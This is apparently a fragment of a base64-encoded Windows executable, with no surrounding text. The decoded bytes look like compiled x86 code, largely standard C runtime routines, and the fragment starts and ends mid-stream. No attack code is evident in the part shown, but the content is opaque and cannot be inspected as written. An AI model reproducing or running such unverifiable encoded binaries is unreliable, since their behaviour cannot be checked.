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AACEwA+F5wAAAGpyWTvRcgiL0YmNrPj//4vKiY2g+P//g/r/D4SWAAAAi/KNhTD+//+LlbD4//8r8o0EsImFtPj//zvKcm0783MEizjrAjP/jUb/O8NzC4uFtPj//4tA/OsCM8AjhYz4//8jvaj4//+LjZD4///T6IuNpPj//9Pni42g+P//C8eJhI0w/v//SYuFtPj//06D6ASJjaD4//+JhbT4//+D+f90CIudLP7//+uPi5Ws+P//i7Ww+P//hfZ0DIvOjb0w/v//M8Dzq4C9u/j//wC7zAEAAHQLjUIBiYUs/v//6zOJlSz+///rKzPAu8wBAABQiYWM+v//iYUs/v//jYWQ+v//UI2FMP7//1NQ6CkQAACDxBCDpZT6//8AM8lqBFhBiYWQ+v//iY2M+v//iY1c/P//UI2FkPr//1CNhWD8//9TUOjyDwAAg8QQ6VwEAACLhbT4//8z0kCL+IPgH2ogWSvIiYWw+P//M8DB7wVAib20+P//iY2Q+P//6GVTAACLjJ0s/v//SIOlnPj//wAPvcmJhaj4///30ImFjPj//3QDQesCM8lqIFgrwY0UOzmFsPj//4mVoPj//w+XwIP6c4iFu/j//w+XwYP6c3UIhMB0BLAB6wIywITJD4XsAAAAhMAPheQAAABqclk70XIIi9GJjaD4//+LwomFrPj//4P6/w+EkwAAAIvyjY0w/v//i5W0+P//K/KNDLGJjaT4//87wnJnO/NzBIs56wIz/41G/zvDcwWLQfzrAjPAI72o+P//I4WM+P//i42w+P//0+eLjZD4///T6IuNpPj//wv4i4Ws+P//g+kEiY2k+P//ibyFMP7//0hOiYWs+P//g/j/dAiLnSz+///rlYuVoPj//4u9tPj//2oCXoX/dAyLzzPAjb0w/v//86uAvbv4//8Au8wBAAB0C41CAYmFLP7//+sziZUs/v//6yszwLvMAQAAUImFjPr//4mFLP7//42FkPr//1CNhTD+//9TUOhFDgAAg8QQg6WU+v//ADPAQIm1kPr//4mFjPr//4mFXPz//2oE6Rn+//+B/gL8//8PhBkBAACDpZD6//8AagJZx4WU+v//AAAQAImNjPr//zvZD4X3AAAAM9KLhBWQ+v//O4QVMP7//w+F4QAAAIPCBIP6CHXkg6Wc+P//AA+9x3QFjVAB6wIz0mogWCvCi/E7wY2FOP7//4mFrPj//4v4D5KFu/j//zvzcwqLF4mVsPj//+sHg6Ww+P//AI1G/zvDcwWLV/zrAjPSi4Ww+P//g+8EweACweoeM9CLhaz4//9OiRCD6ASJhaz4//+D/v90CIudLP7//+utM8A4hbv4//8PlcADwSuNtPj//4v5iYUs/v//we8FjYWQ+v//i/eJjaj4///B5gJWagBQ6LLP/v+Ljaj4//8zwECD4R/T4ImENZD6//+NRwHpQAEAAIuEnSz+//+DpZz4//8AD73AdAWNSAHrAjPJaiBYK8GD+AEPksCD+3OIhbv4//8Pl8GD+3N1CITAdASwAesCMsCEyQ+FmwAAAITAD4WTAAAAanJZO9lzAovLg/n/dGmNvTD+//+L8Y08j4m9rPj//zvzcwqLF4mVsPj//+sHg6Ww+P//AI1G/zvDcwWLV/zrAjPSi4Ww+P//g+8EA8DB6h8z0IuFrPj//06JEIPoBImFrPj//4P+/3QIi50s/v//666LtbT4//+Avbv4//8AdAuNQQGJhSz+///rM4mNLP7//+srg6WM+v//AI2FkPr//4OlLP7//wBqAFCNhTD+//9ozAEAAFDo7wsAAIPEEDP/jYWQ+v//Ryv+i9/B6wWL88HmAlZqAFDoac7+/zPAg+cfQIvP0+CJhDWQ+v//jUMBiYWM+v//u8wBAACJhVz8///B4AJQjYWQ+v//UI2FYPz//1NQ6JELAACDxByLhZT4//8z0moKWYmNjPj//4XAD4hjBAAA9/GJhZD4//+LyomNnPj//4XAD4RxAwAAg/gmdgNqJlgPtgyFnscDEA+2NIWfxwMQi/mJhaT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6L3N/v+LxsHgAlCLhaT4//8PtwSFnMcDEI0EhZi+AxBQjYWQ+v//A8dQ6ENRAACLjYz6//+DxBiJjaD4//+D+QF3eou9kPr//4X/dRMzwImFvPj//4mFXPz//+mfAgAAg/8BD4SuAgAAg71c/P//AA+EoQIAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914OmsAAAAiYyFYPz///+FXPz//+laAgAAg71c/P//AQ+HvgAAAIu9YPz//4vBweACUI2FkPr//4mNXPz//1CNhWD8//9TUOg3CgAAg8QQhf91GjPAiYWM+v//iYVc/P//UI2FkPr//+n1AQAAg/8BD4T9AQAAg71c/P//AA+E8AEAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914IXJD4S4AQAAi4Vc/P//g/hzD4I9////M8CJhYz6//+JhVz8//9QjYWQ+v//6ewBAAA7jVz8//+NvZD6//8PksCEwA+FgwAAAI29YPz//42VkPr//4mVsPj//4TAdQaLjVz8//+Jjaz4//+EwHQMi4Vc/P//iYWg+P//M9Iz9omVvPj//4XJD4QRAQAAjYXA+P//K/iJvXz4//+NBLeLhAXA+P//iYWo+P//hcB1JTvyD4XeAAAAIYS1wPj//41WAYmVvPj//+nJAAAAjZVg/P//64EzwDP/i86JhbT4//85haD4//8PhJQAAACD+XN0VzvKdReDpI3A+P//AEADxomFvPj//4uFtPj//4uVsPj//4sEgvelqPj//wPHg9IAAYSNwPj//4uFtPj//4PSAEBBiYW0+P//i/qLlbz4//87haD4//91pIX/dDSD+XMPhLQAAAA7ynURg6SNwPj//wCNQQGJhbz4//+LxzP/AYSNwPj//4uVvPj//xP/QevIg/lzD4SAAAAAi718+P//i42s+P//RjvxD4X9/v//i8KJlVz8///B4AJQjYXA+P//UI2FYPz//1NQ6BMIAACDxBCwAYTAdGyLhZD4//8rhaT4//+JhZD4//8PhZX8//+LjZz4//+FyQ+EEwUAAIs8jTTIAxCF/3VdM8CJhZz2//+JhVz8//9Q6zozwImFnPb//4mFXPz//1CNhaD2//9QjYVg/P//U1DopQcAAIPEEDLA65CDpZz2//8Ag6Vc/P//AGoAjYWg9v//UI2FYPz//+mhBAAAg/8BD4SiBAAAi4Vc/P//iYWc+P//hcAPhI4EAAAz9jPJi8f3pI1g/P//A8aJhI1g/P//g9IAQYvyO42c+P//deCF9g+EYgQAAIuFXPz//4P4cw+DS////4m0hWD8////hVz8///pQQQAAPfY9/GJhaz4//+LyomNqPj//4XAD4RMAwAAg/gmdgNqJlgPtgyFnscDEA+2NIWfxwMQi/mJhbT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6FjJ/v+LxsHgAlCLhbT4//8PtwSFnMcDEI0EhZi+AxBQjYWQ+v//A8dQ6N5MAACLjYz6//+DxBiJjaD4//+D+QEPh5MAAACLvZD6//+F/3UaM8CJhZz2//+JhSz+//9QjYWg9v//6XICAACD/wEPhHoCAACDvSz+//8AD4RtAgAAi4Us/v//M8mJhZz4//8z9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyju1nPj//3XghckPhDUCAACLhSz+//+D+HMPg8QCAACJjIUw/v///4Us/v//6RQCAACDvSz+//8Bd3yLvTD+//+LwcHgAlCNhZD6//+JjSz+//9QjYUw/v//U1DouQUAAIPEEIX/D4Q9////g/8BD4TRAQAAg70s/v//AA+ExAEAAIuFLP7//zPJiYWc+P//M/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o7tZz4//914OlS////O40s/v//jb2Q+v//D5LAhMAPhYMAAACNvTD+//+NlZD6//+JlZD4//+EwHUGi40s/v//iY2w+P//hMB0DIuFLP7//4mFoPj//zPSM/aJlbz4//+FyQ+EEQEAAI2FwPj//yv4ib18+P//jQS3i4QFwPj//4mFnPj//4XAdSU78g+F3gAAACGEtcD4//+NVgGJlbz4///pyQAAAI2VMP7//+uBM8Az/4vOiYWk+P//OYWg+P//D4SUAAAAg/lzdFc7ynUXg6SNwPj//wBAA8aJhbz4//+LhaT4//+LlZD4//+LBIL3pZz4//8Dx4PSAAGEjcD4//+LhaT4//+D0gBAQYmFpPj//4v6i5W8+P//O4Wg+P//daSF/3Q0g/lzD4QKAQAAO8p1EYOkjcD4//8AjUEBiYW8+P//i8cz/wGEjcD4//+Llbz4//8T/0HryIP5cw+E1gAAAIu9fPj//4uNsPj//0Y78Q+F/f7//4vCiZUs/v//weACUI2FwPj//1CNhTD+//9TUOjXAwAAg8QQsAGEwA+EwQAAAIuFrPj//yuFtPj//4mFrPj//w+Fuvz//4uNqPj//4XJD4TTAAAAiwSNNMgDEImFnPj//4XAD4SYAAAAg/gBD4S1AAAAi40s/v//hckPhKcAAAAz/zP296S1MP7//wPHiYS1MP7//4uFnPj//4PSAEaL+jvxdeCF/3R/i4Us/v//g/hzc06JvIUw/v///4Us/v//62UzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoEwMAAIPEEDLA6Tf///+DpZz2//8Ag6Us/v//AGoA6w8zwFCJhSz+//+JhZz2//+NhaD2//9QjYUw/v//U1Do1AIAAIPEEIu9hPj//4v3i40s/v//ibW0+P//hcl0dzP2M/+LhL0w/v//agpa9+IDxomEvTD+//+D0gBHi/I7+XXhibWc+P//hfaLtbT4//90QouNLP7//4P5c3MRi8KJhI0w/v///4Us/v//6yYzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoRwIAAIPEEIv+jYVc/P//UI2FLP7//1Doml3//1lZagpaO8IPhZEAAAD/hZT4//+NdwGLhVz8///GBzGJtbT4//+FwA+EiwAAADP/i/AzyYuEjWD8///34moKA8eJhI1g/P//g9IAQYv6WjvOdeGLtbT4//+F/3Rci4Vc/P//g/hzcw+JvIVg/P///4Vc/P//60IzwFCJ